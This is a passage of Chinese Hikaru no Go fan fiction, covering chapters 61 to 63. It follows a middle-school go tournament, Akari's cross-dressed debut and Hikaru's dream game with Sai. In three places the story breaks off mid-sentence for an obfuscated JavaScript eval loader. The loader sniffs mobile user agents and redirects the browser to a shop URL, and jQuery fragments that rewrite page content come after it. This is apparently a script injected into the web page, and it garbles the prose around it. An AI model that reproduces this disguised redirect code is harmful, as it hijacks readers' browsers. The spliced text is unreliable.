进藤光盯着面前“少年”的脸,觉得这五官有些眼熟,又有点陌生。这么说来,他的确好久没认真观察过这个青梅竹马的脸了,12岁正是发育速度最快的时候,青春期的少女几乎一天变个样,仔细一看这家伙还蛮可爱的嘛,为什么直到24岁才找到男朋友呢?虽然在那之后又很快闪婚了就是了。 藤崎明注意到他的视线,一时间脸蛋通红。 她结结巴巴地背着准备好的台词:“我(私)、不!我(僕)叫藤崎明太郎,叶濑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701960|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中学一回生,学围棋不到半年,请大家多多指教。这……这样可以吗?” 少年的自我介绍扭扭捏捏的,却很可爱。筒井的眼镜都快从鼻梁上掉下来了。 “真的是藤崎小姐!完全认不出来!” “这个造型很适合你嘛……很好!只管开心地去下吧!明太郎同学!”光大大咧咧地拍了拍她的肩。 明替这个毫无紧张感的家伙着急,要参赛的不是他,他当然可以开心地去下了,不像自己,紧张得要命。她叹了口气:“我丑话说在前面,要是我输了,你们可不准取笑我。” “不会的,你不是已经能和筒井前辈下让2子棋了嘛,现在的筒井可不是半年前的筒井哦,他也变强了,也就等于你也变强了。” “充其量我也只是个替补,不许给我施加压力啦,小光!” “别一直立旗嘛。” 光给她倒了杯茶,帮她冷静下来。藤崎明喝了口茶,目光也停留在面前的棋盘上。 “……但是小光,我不会顾忌你的立场哦。虽然你没能进叶濑中学我有点遗憾,不过这场比赛,我们可没打算眼睁睁看着佐和良中获胜,对吧,筒井前辈?” 藤崎明再次抬起头时,已经笑意盈盈地望向了筒井公宏,后者连忙点头。托她的福,叶濑中这边的冷清感瞬间降低了不少,要是真有这样一个英俊温柔的美少年在围棋部就好了,肯定会有很多女生求着入部的,筒井忍不住这样想。 “是、是啊,藤崎同学说得没错,进藤君,我们不想输给佐和良。” 筒井像模像样地扶了扶眼镜,终于有了点队长的风范。 光心里为他们高兴,表面上却只是淘气地吐吐舌头:“才没那么简单呢,他们也是我带出来的,算我小半个徒弟了。” 明不甘示弱:“他们要是你的徒弟的话,我、我就是大师姐!我是不会输的!” “哈哈哈,很好,就是这股气势!” 此时,东京另一侧的紫水围棋会所。 听说进藤光特意请假了院生对局、就为了出席学校围棋部参加的业余比赛时,亮感到有些意外。在他的记忆中,光会对某事执念深厚到这个地步真是难得。 “请问,是什么性质的比赛呢?”他推开手边的茶杯,问。 北岛托着下巴想了想,才不确定地回答:“好像是北区的中学联赛吧?分了冬夏两季来着,今年才第四届所以我也不太熟。” “原来是那个比赛……” 亮很快记起了年初2月的冬日,光拉着自己去海王中学观战的事。 “怎么,他没有告诉你吗?”北岛觉得不对劲的地方在这里。 “他什么也没说。进藤他只对实力非凡的强者有兴趣,可现在他又是院生,不能参赛,为何会对这个联赛如此执着?” 亮有点想不通。 北岛得意地翘起嘴角:“这个‘实力非凡的强者’果然包括小老师啰?那小子不愧是能下赢职业棋士的天才……可惜就是性格偶尔有点恶劣。小老师也是天才,天才遇到天才,这样才算棋逢对手嘛!那天他能偶然找到小老师,绝对是命中注定啊!” 亮的上唇僵住了,他紧皱眉头,垂下眼帘,并没再说什么多余的话。 偶然?命中注定? 一切的一切真是个偶然吗,亮开始思索,为什么那天进藤会走进他家开的围棋会所?为什么他兴致勃勃地指定要和自己对弈?为什么他丝毫不讨厌自己略显不合群的个性?为什么他是那么的强大,强大到足以夺走自己的一切视线? 偏偏这么多的“偶然”条件汇聚在一起,才有了现在的他们。 ——我,为什么会与你相遇呢,进藤? ——明明你只对强者感兴趣,为什么会对叶濑中念念不忘? ——为什么,会对我念念不忘? ●○●○ 62.Chapter 61. 再次拿起棋子的他 此刻的海王中学。众人都集合在了规定地点,等待那神圣的一刻。 “第四回北区中学围棋大赛夏季赛,一回战开始。” 负责旁白主持的人这次依旧使用了简明的开场方式,大厅里响起了整齐的“请多指教”,参加的大都是老面孔,这一轮抽签的结果是叶濑中和田井中,海王中和岩名中,佐和良中和阿由中,浜地中和川荻中。 “又是阿由中,之前我们准备的战法应该能奏效。” 观战的久原松了口气,这次抽签的结果算是上上,既没有第一轮就冲撞到危险指数最高的海王,也没有和进藤光念念不忘的叶濑碰头。要是遇到叶濑,进藤光会觉得尴尬吧。不过那也要看他们是不是能赢过第一回了。 话是这么说,就算真遇上叶濑,久原下起手来也绝不可能留情。 指导老师拍了拍手:“大家,准备上了!” “喔!!” 与其他选手的跃跃欲试相比,副将相泽今日显得有点心神不宁。他时不时瞟久原一眼,仿佛在确认小记者的精神状态。 “……你可以吗,久原?” 相泽的疑问并非质疑,而是关切。是他非要逼他上场的,万一真出了事,他一定会后悔。 久原没有回答,也没有点头。他只是冷静地看着前方的对战席。 那里有他最熟悉的棋盘,棋子,名牌,计时器,和令人窒息的冰凉空气。构成院生时期循环赛的一切都在那里。今天他不是作为临时主将出战的,而是要实打实地下完三轮,不容任何闪失。想到这里,内心和身躯都变得无比沉重。 为了遏制这种沉重,他不得不用比平时百倍的力气去操纵四肢。 这家伙,分明就在发抖。 光皱了皱眉。然后他抬起睫毛,没有正视久原的眼睛,故意错开几厘米,看着他身后的人群说: “久原,我遇到过那么多实力超群的对手,但实力超群的教练却只有你一个。” 听到这句言语,久原的手指动了动。 进藤光不想强调什么,也不愿把这当做是战前的压力,他只希望这个朋友能解开心结。 “好教练擅长因材施教,把他们也当成是你的学员吧,今天你不是过来下棋的,而是过来给他们打分的,这样想就没问题了。毕竟,哪里还会有比我更难对付的学生?” 抛开光最后的自夸不谈,久原明白了他的意思。 教练…… 确实如此,想要见证冠军级的棋手诞生的教练,理所应当也能轻松看破面前这些初中生的棋吧。 居然被他拐弯抹角地鼓励了啊。 哼。久原艰难地笑了笑。进藤光一定会成为世界冠军,他进步得很快,快到正常人都望尘莫及的地步,要是自己还一直在原地的话,很快就会被他甩在身后。 所以他得下。 他必须得下。 久原,加油啊。不要输给自己。相泽看着他的背影,默默祈祷。 “喂,你们不猜子吗。” 对面的阿由中主将已经等得不耐烦了。 久原这才走上前去,拉开椅子。相泽和青森也和他同步做出了相同动作。三人齐齐坐下,整齐划一的侧脸犹如三尊精雕细琢的古代雕像。 “咦,你不是上届比赛的赛前访问记者吗,怎么在下棋?”阿由中主将这才认出了久原的脸。 2月阿由中败给佐和良后就提前离场了,所以未能见证后来久原与进藤光的那一局。看到这个场外人士坐在主将位,他觉得有点好笑。 “该不会是在田忌赛马吧。”阿由中副将直接说,“本来的主将打我们副将,本来的副将打我们三将,然后叫个门外汉来随便糊弄主将?真可怜,一开始就被放弃了啊。” 久原却没有理会他的嘲笑。 他冷淡地开始报菜名。 “……山田贵志,三年级,实力副将级别,一个月前临危受命变成主将,擅长快棋,但发挥极不稳定,此前参加联赛的战绩是2胜3败,心算能力一般,遇到定式以外的变化会慌张,中盘如果不占据绝对领先就无法正常思考,讨厌陷入被动,官子马马虎虎。” 听着自己的弱点完全被摊开接受所有人审视,阿由中主将的脸色十分微妙。就像赤身裸体在大街上跑一样。 “你、你在念叨什么啊!” 与他出离的愤怒不同,久原只是面带微笑地抓起了棋子,完成猜先。 咔哒,棋子落在棋盘上。 “我执黑。那就用你喜欢的快棋,来试试看吧。” 留下这句开战宣言,他便正式夹起第一颗黑子,全力落在右上角星位。 ……成功了,他放下去了! 没有因为发抖而陷入眩晕,也没有因为肌肉紧张而无法动弹,他做到了! 多亏了进藤光的那句话。 只要不当成是在下棋,他就不会害怕。 没错,这不是对弈,而是围棋分析师对固定观察对象的定期访问,只是通过围棋的形式进行的调查,他是记者,也是教练,打探受访者的心理状态是他的本职工作,为了还原现场,他有必要乘上对方的节奏。 但记者不会随波逐流。 从绝对制高点掌控采访的走向,才是优秀的记者。 他暗自评估着对手的每一步棋,脑海中完全没想着自己如何下,而是单纯的第三者视角。 “开局你会怎么下呢?习惯的中国流吗?” “嗯哼,意料之中的选择。” “……如我所料。” 一旦把注意力完全放在对方身上,自己也就顾不上紧张了。 他可以的。拿起棋子,放上去,就是这么单纯的事。 不需要思考赢的问题。 他一点也不想赢,只是在“了解”面前的学生而已。 对面的阿由中主将已经满头大汗了。 这、这个家伙!怎么神神叨叨的! 去年佐和良的主将不是还败给叶濑了吗?! 接下去的后半程,久原依旧对阿由中的主将步步紧逼,对方一脸看到鬼的表情,慌忙采取自己认为最好的应对,但效果却乏善可陈,实地仍然落后一大截。 见此,在他身后围观的韩国人尹老师惊奇地停下了脚步。 这个孩子……果真奇异…… 他落子的速度就像在下快棋一样,实际上却大幅占优,每一处都是精挑细选的好手。 自己所在的中学里除开岸本薰,还从来不曾出现过如此可怕的苗子。想到这里,他低头看了一眼这孩子面前的铭牌。 佐和良中的久原木子郎…… 这个名字,似乎在哪里听过……好像是因为患上了罕见的心理疾病,被棋迷们当成“可怜的孩子”偶尔提起。 年初他也是在这个地方,突然说要当主将,还和指导教师大吵一架。他有这种病,一般的教师怎么可能放任他去对弈,尹老师就是因为这个才记住了他,现在他已经恢复过来了吗。 阿由中的主将忽然重重地低下头去。 “我……无棋可下了。” 他的声音里挤压着难以想象的悲愤和屈辱。 这一局棋从一开始,就完全在久原木子郎的掌控之中,明明这个人完全没有想要赢,棋风也柔和温存得极富女性化色彩,但那高悬于脖颈之上的达摩克利斯之剑,时时刻刻不在提醒自己——那过于悬殊的棋力差距。在阿由中主将眼中,这根本不是一局棋,而是保育员带着幼儿园的小朋友在学玩游戏,久原给他的就是这种感觉。 久原似乎意识到了这份屈辱的来源。但同情只会让事情变得更糟。 于是,他轻轻鞠躬以示尊重。 “多谢指教。” ——你并没有发挥失常喔,今天的你,已经比以前任何一次数据里的你都优秀了。 他默默在心中给予了对手很高的评价。 观战的进藤光都忍不住鼓起了掌:“哦,不愧是久原,赢得好快!” 副将相泽和三将青森都露出了微笑。以久原的真实实力,这是理所当然的事。只要他克服了心病,就是无敌的! 他们的目标可是夺冠,怎么能在这里中断。 与此同时,叶濑中这边,主将三谷下得过于轻松导致像是不良少年在霸凌别人,副将筒井一副“大义凛然英勇就义”的表情,三将“藤崎明太郎”反而变成了最正常的一个。 她一开始还在为自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715204|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男扮女装而不安,不过,参赛的人大都紧张得要命,也没人会注意到她。13岁的年纪许多男孩尚未发育,和女孩的区别也并不大。渐渐地,她就完全忘记了性别,只想着如何按照平素进藤光在家教她的那些基础去下棋。 能稳扎稳打下完这一局棋,就是成功! 小光一定也会认可她的! 见证了她的脸色从僵硬到冷静、再到全情投入的筒井松了口气。 “能行,三谷君的实力比我高,在这里他应该不会败……我的局势也还不错,好好把握下去胜率挺大。至于藤崎同学,就算她输了我们也一样可以进到下一轮……只要她不露馅就好了。”筒井紧张兮兮地盘算着胜率。 第一轮结束时,结果如筒井所料,叶濑中顺利出线。 不过令他惊讶的是,这个一直跟在自己屁股后面的藤崎同学竟然也获得了胜利。以她学棋的时间来看,能有这样的进步速度堪称奇迹了。 这样一来他们就是全胜晋级。 “这家伙的实力还行嘛。”这时,三谷扫视着战后藤崎明面前的棋盘,忽然来了句惊天发言,“下一局换她做副将吧。” “诶???但是……”听到噩耗的筒井痛心疾首,“之前她和我下棋还需要两个让子啊!” 藤崎明本人也连连摇头,一万个拒绝。 “是啊是啊,我怎么可能比得过筒井前辈!” 三谷却不这么认为:“经验确实不足,但判断力可圈可点,应对突发情况的直觉也不错。你应该经常和厉害的人对弈吧。” “厉害的人……是指小光?” 藤崎明说出了一个让三谷自找苦吃的名字。 三谷瞬间变脸。 “……当我没说。” 与忽然自闭的三谷不同,筒井越听越满脑子都是汗珠。这是怎么回事,连随便找来的女生外援都比自己这个围棋部部长更吸引三谷的注意力,简直不让他活了。筒井真有种蹲在墙角画圈圈的冲动。 然后他听到三谷得出了致命结论:“总之,我建议你们换个位置。” “不可以!这样筒井前辈多可怜啊!” 藤崎明委婉的拒绝令伤痕累累的筒井感觉更加悲伤了。 “谢谢你藤崎同学……但我没事的……” “这是战术,我是主将,你得听我的。”三谷霸气地和她对视起来。 三人的对峙让空气一时有些紧张,打断了这份紧张的,却是一个熟悉的外来者。只见那名留着金色刘海的少年大步走到棋盘边上,扫了扫三局棋的终局,而后拖着下巴颇有深意地点了点头,他身旁的紫发幽灵也跟着一起点了点头。 “……嗯,好像也不是不行。” “小光!”藤崎明连忙阻止他,“连你怎么也这样说!我哪里比得过筒井前辈啊?!” “不,其实明明的综合实力并没有超越筒井前辈,但我的意思是,这也是一种战术。筒井前辈或许不能保证赢副将,但换成三将胜率会上升;明明经常跟我下棋,所以很擅长对付比她厉害的角色,遇强则强,可以赌这个概率;要是三谷你也赢了的话,晋级的希望反而更大啊。” 进藤光的发言有理有据,让人信服。 筒井似乎只能接受现实了。 他想说些什么,但本应该留在佐和良中备战下一局的久原木子郎不知从哪里冒了出来,兴趣满满地趴在棋盘边上,看看棋子,又看看叶濑中的这三位,马上露出了明亮的笑容。 “哼哼,这个背带裤同学确实是你们的王牌呢!棋风好犀利!我喜欢!” “不要叫我背带裤同学!这是我的个人爱好!”三谷已经濒临暴走了,“你谁啊!佐和良中的别来打探情报!” 久原没理他,一把搂住进藤光的肩,仿佛在宣誓主权。“我是来找进藤的,他可是我们佐和良围棋部的人,有问题吗?……哦哦哦,这位美少年君的棋下得也很有趣嘛,好几处都是进藤的风格,只是后续没接上,有点可惜了,未来可期呀未来可期!” 久原对三谷和明明的棋都进行了一段鼓励为主的评价,然而筒井此刻脑海中只盘旋着一句话——可怜的我已经被完全放弃了吗啊啊啊啊啊!!!! ●○●○ 63.Chapter 62. 进藤光是“迷” 此时的会场另一侧。午休时间还未过去,各支队伍都在为团队进行战略调整,刚刚久原过来找进藤光也是为了这一理由。 然而,佐和良中学的位置前却出现了不和谐的一幕。 “——你在想什么啊,进藤?好不容易有点休息时间,你竟然帮被对手复盘?” 佐和良中的三将青森怒气冲冲地指责着一脸无辜的进藤光,后者正坐在他们上一局的对手对面、给人家讲解那局棋里的缺陷。 只要是喜欢围棋的人,他都乐意去教,不管是敌是友。这就是进藤光。 看出青森的愠怒,光笑眯眯地说:“有什么不行嘛,青森,知己知彼百战百胜,说不定来年你们还会遇到喔。” “别说这种外人一样的话,我们请你做指导,是因为你很强!但不要觉得自己棋艺高明,就无视队友的感情!马上就是下一场对弈了,也许你觉得这种程度的比赛插两句嘴也无所谓,但这次大赛对于我们这些普通人来说,就是一个学期最高的目标!现在不是分神做这些事的时候!” 他说得倒也没什么错。受此影响,周围的人都齐齐望向这里,像在小声议论。 “小光,你还是道歉吧……”佐为担忧地说。 进藤光无奈地站起来,直视着青森。 但他果断地摇了摇头:“抱歉,我没有考虑到你的感受。不过如果只是和对手复盘两句都会心态动摇的话,是没办法走到决赛的。海王不是这种程度的敌人,你明白的吧,青森?” “这我当然知道!但是你现在不应该去支持久原吗?他那么重视你的意见!如果没有你,他根本不会重新拿起棋子!” 完了,完了,这样下去要演变成吵架了!得阻止他们才行! 佐为焦急地飘来飘去,可是他什么也做不到。 “进藤君。”坐在光对面的阿由中主将却首先插话了,“谢谢你的解说,不过他是对的,你先去帮他们准备下一轮比赛吧,你的同伴需要你,复盘可以留到以后。” 进藤光慢慢地点了点头。 同伴?他们吗?从内心某处,进藤光还没有完全承认这一点,然而自己确实已经站在了那个地方。 ……是吗,他们现在是同伴啊。 “谢谢。”进藤光转向一旁的青森,露出微笑,“说得也是,我们回去吧,害你担心了。” 青森见他道歉得干脆,反而像被突然噎住一样说不出什么责怪的话了,半晌,才撇撇嘴,“哼”的一声转身离去。进藤光也跟上了他的脚步。 部内成员发生口角,按道理宣传组长久原木子郎早就该跳出来劝架了,但他今天沉浸在太久没正式下棋的紧张里,一时都分不出精力观察外界。 无论外表如何伪装,这种紧张的心情都是会从细节上体现出来的。 注意到进藤光走近自己,他才第一次抬起头。 “能赢吧。” 光看到他紧紧咬住的牙关,只轻描淡写来了这么一句话。 久原默默颔首。 “嗯。” 简单明了的一个字。 光就知道,这家伙根本不需要自己费心。 二回战,准决赛,佐和良中对川荻中,叶濑中对海王中。 光对于叶濑中的这场对局完全不看好。没错,海王这次没有塔矢亮,就像丢失一道必杀技,但海王本身的实力已经不是叶濑能达到的高度了,多数部员都从小就在下棋,其中更是不乏岸本这样曾以职业棋手为目标的优秀棋士。筒井他们相比上辈子缺少了和进藤光一起特训的经历……能不三场全败就算运气好了。 至于佐和良的对手川荻中学,应该不是大问题,佐和良大概率会一路挺进决战。 “那么,二回战正式开始!”计时员高声宣布。 “请多指教!” “请多指教!” 一时,这样洪亮的声音充满了整个大厅。 此时,绪方家。 最近绪方精次在手合赛里的成绩节节高升,似乎是为了弥补塔矢行洋离开之后的空缺,塔矢研究会里的几个人仍然保留下每周一聚的习惯,研究会里威望和潜力最高的绪方自然成为主心骨一般的存在。 除了他之外,备受期待的新星进藤光也时常前来参与讨论。 然而这次的研讨,他却意外地没能出席。 “……小亮知道吗,他欠席的原因。” 待到讨论结束,绪方像是精疲力竭地举起茶壶倒了杯水,用审视的目光看着正准备离开的亮。 亮收回迈出的脚步,慢慢回头。 “嗯。进藤去看中学围棋联赛了。” “中学?”半是嘲讽半是困惑地微笑着,绪方抿了一口玻璃杯里的液体,“真的假的……” 他怎么可能对那种程度的比赛感兴趣。 “进藤应该有自己的理由,他要做这件事,就不会是浪费时间。绪方先生不用担心。” 说实话,对于这样任性的进藤光,塔矢亮稍微有些难以释怀,但他什么也没表现出来。 “听你的说法,你好像很了解他?”绪方故意问。 注视中跃然的深意让亮挪开了视线。 “进藤不是普通的国中生,严格地来说,我觉得我并不了解他。但是,他从来没停止过成长。”亮严肃地陈述道,“进藤他……是一个谜。” “谜……” 喃喃自语,仿佛沉浸在胡乱的揣测里,绪方似笑非笑的样子就像在感慨着什么。 他注意到进藤光的棋力非比寻常也不是一天两天的事了,现在的进藤恐怕比自己也差不了多少。毫厘之间便可判出胜负的感觉,以及敌人一般给自己带来的无限危机感,进藤确实是个有趣的“谜”。 什么时候才能解开这道谜题呢…… 解开的人会是谁呢? 小亮?自己?塔矢行洋?他有点好奇了。 “塔矢老师最近怎么样?飞机应该落地中国了吧。”绪方又喝了口水,岔开了话题。 “父亲一切都好,身体康健,中国的棋手也非常欢迎他。现在他正在考虑参加中国棋赛的事,不过尚未确定。”亮规规矩矩地回答道。 “你呢?” 亮不明所以地眨眨眼,“我?” 他不明白为什么绪方要这么问。 “塔矢老师不在,还习惯么?没了能引领你往前走的最佳向导,你还能继续往前冲锋吗。”绪方提醒道。 “……没问题的。”亮的语气和缓了下来,“我的确少了父亲的向导,但围棋是在与对手的切磋中进步的,只要进藤还在,我就不会停下来。” 真是独立坚强的觉悟呐。 绪方看了他一会,也不作声,默默地走到门口,像是要送他出去。塔矢亮了然地跟上他,恭谨识礼的样子让绪方心中升起陌生的期盼。 短短一年以来塔矢亮究竟成长了多少,连勉强称得上师兄的自己都无法衡量。这就是少年所特有的潜力吗? 要说契机,果然还是进藤光的突然出现造成了一系列的变化。带上门时,绪方装作不经意地提了一句:“就要到职业考试了。” “是。我和进藤都会参加,不过我希望自己不要输给他。我和他,必定会有一人取得全胜。” 亮坚定的目光直接反映出他的心情。 “是吗。” 真是意料之中的单纯想法。不过,如果是现在的小亮的话,倒也并非不可能达成这个目标——毕竟过去的一个月,绪方也是全力在打造这柄利刃。出鞘之时,怎能不见血。 这样想着,绪方不禁开始对未来的职业比赛也产生兴趣了。 “绪方先生。” “嗯?” “……不,没什么。”亮摇了摇头。 他还是没能说出藏在心里的话。很快,他们就会在职业棋赛上见面,到时一切自然见分晓。 在此刻的海王中学联赛赛场里,真真是印证了几家欢喜几家愁的老话。 筒井老泪纵横地摘下眼镜,对着窗外的白云发呆,三谷一言不发地坐在椅子上,面色僵硬,体贴的藤崎明不知从哪里的自动贩卖机里找来两罐可乐递给他们。一时间,沉闷空气里除了忧郁就别无他物。 进藤光看到三人如此沮丧的样子,出声安慰道: “安啦!不就是半决赛输了海王吗,对方已经是海王了,还有什么可遗憾的。” 刚刚的准决赛,叶濑果然未能突破重围。 “话是这么说,可是……”筒井眨巴眨巴擎满泪水的双眼,“就算对方是海王,就这样输了还是很难受啊。” “关键不是这个吧。”三谷捏着可乐罐的手一紧,关节处“吱嘎吱嘎”地响,别过头去不想看队友们的正脸,“藤崎,最初我们请你来只是想凑个人手,结果你却成了我们之中唯一一个没有惨败的人,就是这点特别令人不爽……” 就在十分钟前,主将三谷被海王最强岸本薰的猛烈攻势轻松击倒,筒井也意料之中地中盘告负,反倒是临时被抬上副将的藤崎明以半目之差勉强存活下来,获得一分,最终叶濑中学还是以一比二的成绩被遗憾淘汰。 围棋就是这样,绝对的实力或许很重要,但谁也无法预判对手是否会失误,在结束之前一切皆有可能。 哪怕是新人也一样。 但是,能战胜海王的副将,这新人运气也未免太好了。 三谷忍不住对藤崎明发出了疑问:“你真的才学棋半年?骗人的吧。” 明嘟着嘴反驳:“小光也才学棋半年多啊,我就是看到他总下棋,才开始想学围棋的。” 她本就是憧憬进藤光才萌生了对围棋的兴趣,为了听得懂光口中那种复杂的名词和形势分析,半年以来一直坚持苦练,从未松懈,才终于有了今日来之不易的胜利,一点也不轻松!她可不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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2月他就对那一局记忆犹新。那可是连张狂不羁如加贺铁男都称赞有加的一局,进藤光自不必说,久原也确实很强,今天叶濑即使不败给海王、如果遇到佐和良,也未必能赢。 这就是实力之差吧。没办法。 藤崎明却并不这么认为。她用食指抵着下巴,说:“我倒是听小光讲,那个久原同学平常很少跟人对弈喔。就算棋力很强,要是从来不参加实战的话,水平也未必能全部发挥出来。不知道他今天能不能顺利下到最后啊。” 正是如此,进藤光得知叶濑战败的消息后,也只是简单安慰了他们几句,就跑去急着跟久原木子郎说些什么了。 这家伙,有了新损友就无视老朋友!真可气! 要是能夸自己一句“明明你进步真快、以后也多跟我对弈吧”再走多好,藤崎明有点小不满地绞了绞手指,小光还是那么不懂女孩子的心思。她可是超越了筒井和三谷,赢了叶濑中学围棋部唯一的一局棋呢! 比起目光略微呆滞的三人,这边的佐和良中学则是干劲满满,喜笑颜开。 “很好!今年终于又来到了半决赛!下午干掉海王我们就能凯旋啰!” 相泽得意地挥动着拳头,完全不掩饰脸上的喜色。 不过像他这样激动的人倒是不多,佐和良的校风一向以严谨著称,举个例子,相田话音刚落,就出现了给他泼冷水的青森。 “那也得干得掉海王才行啊。比赛最怕半场开香槟,部长,你可别带这种坏头。” “啰嗦!我们有百战百胜的进藤当指导,还有久原做主将,还怕什么海王。别说海王了,就是横扫全国都不奇怪!”相泽的热情并未被浇灭。 他最初很忐忑久原木子郎能不能正常发挥,结果第一局完全没问题,反而是对手被吓得语无伦次、慌不择路,这下他们获胜的障碍不就彻底扫清了!还有什么可怕的! 与热烈期盼的相泽不同,被寄予厚望的主角本人此刻还在棋盘前默默沉思战略。 和进藤光一起。 “终于是决赛了。”光简单给久原摆了一下之前自己和岸本薰的对局,以这家伙的学习能力,肯定很快就能分析出岸本的棋路,“对手没那么简单,只要能见证到最后,就相当于是你赢了。 久原抬眸看了他一眼,没有说话。 见证到最后就算是赢?这是假定他一定会输啊。 ——你不愿相信我吗,进藤光? “那么,决赛也请大家多多努力!” 久原的思绪戛然而止。指定教师这句话是对女子组的队长山崎幸说的,佐和良中学的围棋部今年势头正好,女生们也幸运地闯进决赛,对手同样是海王。 对于年年被海王压一头的佐和良而言,男子组和女子组都没差,只要其中有一队赢过海王那就是历史突破性大胜利。如果真的双喜临门,校长肯定会笑呵呵地给他加工资吧。 “是!” 众人亦士气高涨。 接下来就交给他们好了。光以散步为由来到教室外的大台阶上,开始左一句右一句地同佐为闲聊起来。 ●○●○ 64.Chapter 63. 假期结束 “佐为,我记得你很喜欢看孩子们对弈吧,之前在儿童围棋大赛还兴奋地到处乱跑,这次感觉如何?” “嗯,很开心哦。”佐为毫不犹豫地点点头。 棋子击落棋盘响起的声音,对他来说就是堪比龙宫的雅乐了。 进藤光意外于佐为脸上的平静,“就算你不能自己下棋,也开心吗?” “当然了,自己喜欢的东西也被很多很多人喜欢着,本身就是一件可喜可贺的事。小光你这么说,难道不觉得看到大家下棋的样子就倍感欣慰吗?” 真不可思议,每每光担心佐为时,总能在他无限包容的温柔下反过来受到鼓励。明明上辈子佐为还一直吵着闹着要下棋来着。 光挠了挠鼻尖。 “也许吧……我的感触没有佐为你这么大,不过,我也希望围棋能够带给越来越多的人快乐。” “遇到小光以来,我确实感觉到了许多这样的快乐。” “遇到我以来?”光偏头看着他,眼中满是复杂。 佐为笑得双眼眯成月牙。 “虽然没有自己的身体,但是我还可以和全世界形形色色的人对弈,甚至和他们互通书信,这些难道不都是因为小光的缘故才能得以实现吗?” “是这样吗。”进藤光把后背靠在石阶旁的围栏上,呆呆地望着天空,“好像是喔。嘿嘿,佐为需要我呀。” 小光果然还是有心事。为什么呢,他总会在意“佐为”有没有机会下棋、“佐为”开不开心、“佐为“怎么看每一局,“佐为”是不是还在身边,好像比在乎自己、更在乎佐为似的。 想到之前和光的约定,到了职业考试之后,一切就应该能够真相大白了,佐为花了很大的力气才憋住追问的意愿,深深地看了他一眼,随即将目光挪向光手中的扇子上:“小光,你的折扇有点脏了。” “怎么会?我明明有很小心在保养的!”光懊恼地捧起它,凑近一看,边角处确实有点被蹭到的痕迹,“果然纸扇子的寿命还是不够长啊。” “其实也不必那么在意,你该不会真指望着和它一起终老吧。” “你是在吐槽我吗佐为……” “哪有,我只是很好奇,为什么小光会喜欢平安时代的扇子呢?电风扇在方便和舒适性上都强得多吧。” “可能是因为,这样我们就多了一个共同点?” “嗯……” “而且,很帅嘛。” 两人说得津津有味,迎面而来的午后暖风吹得人格外舒服,竟是酥软到了骨子里,进藤光的意识慢慢模糊,后来竟然不知不觉小睡了过去。 “佐……为……” 他无意识的轻语飘飞在空气里。 漫天的金色缠绕成无边的梦境,他听见自己耳边荡漾缭绕的回音,世界的中心只余下一张古旧的棋盘,外面的枫叶似乎在燃烧,一点一点地驱散了胸口的寒意。他坐在棋盘的这边,而佐为静静地微笑着出现在他对面的位置,纤长的右手轻轻夹起一枚晶莹剔透的棋子,落于棋盘正中。 竟是初手天元。 咦?佐为可以摸到棋子了? 他被自己的想法吓了一跳。不过冷静下来一看,这个场景本身也就很不真实了。 对了,这是梦啊…… 如果是梦的话,的确发生什么都不奇怪。 他居然在梦里遇到了佐为啊…… 进藤光苦涩地牵动嘴角,随即从手边的棋罐里捏出一枚白子,想要回应。 佐为一直没有说话,只是那样静静地,静静地看着他的动作,那样温柔的目光简直令人窒息。 “那么我……” 光将手移向棋盘的右上方,17之四,小目。 佐为将纯白的蝙蝠扇搭于唇边,眼中一片清明,只稍作停留,继续应以对角的星。 原本狐疑于这莫名场景的光也收拢了心思,压低眉角,细细思索着。 两人的棋步如行云流水,一手接一手。 熟悉的定式,见首便可猜到尾的追逐,偏生偶尔冲出几个柳暗花明的生路,惊险暗藏在平静无澜的表面之下,让他越陷越深。 不知为何,他感到此刻的佐为似乎想要告诉他什么东西,却如间隔层层迷雾一般朦胧模糊。 但是,这真的是……“他”的梦吗? 为何他会觉得梦中的自己如此失真? 梦里的他正和佐为对弈到关键处,却听到耳边传来某人的呼唤声,由远及近。 “进……藤……进藤……进藤光!!” 最后几个字加重了读音,进藤光终于猛地从梦中惊醒,揉了揉眼睛,不知所措地望着眼前无语的久原木子郎。原来自己不小心在大台阶的花坛前面睡着了。 “什么,是你啊……” “那是什么口吻?马上就要开始比赛了,再晚你就直接错过全场了!你必须过来,万一我倒下了,你还得负责送我去医院呢,其他人都要继续比赛的说。” 久原的脸上写满了“无可救药”的表情,急得想把他生吞活剥吃下肚去。 进藤光只好听话地站起来。 “哪有这么夸张……你不是已经可以正常下棋了嘛。” “才没有!这次的对手跟前面根本不是一个级别。不过,你怎么了,有哪里不舒服吗。” 见对方精神恍惚,再想到不久前这家伙还因过劳倒在棋盘前,久原也不禁缓下脸色。 光愣了许久,忽然露出一个微笑。 “嗯,我在梦里也下了一局好棋呢。” “哈?” “要赢哦,久原。我还想等你变得更厉害一点,帮我分析分析梦里那局棋呢。” 他边伸懒腰边往大台阶上走,脚步轻松而活泼。也不知他究竟做了什么梦,进藤光其人就是个怪胎,总会时不时来两句思维跳脱的、极不符合□□年龄的台词,也许那就是名为sai的第二重人格吧,久原差不多都习惯了。 只是今天……有重要的话想说的并不是进藤,而是自己。 趁现在只有他们两人,久原忽然叫住了他。 “进藤!” 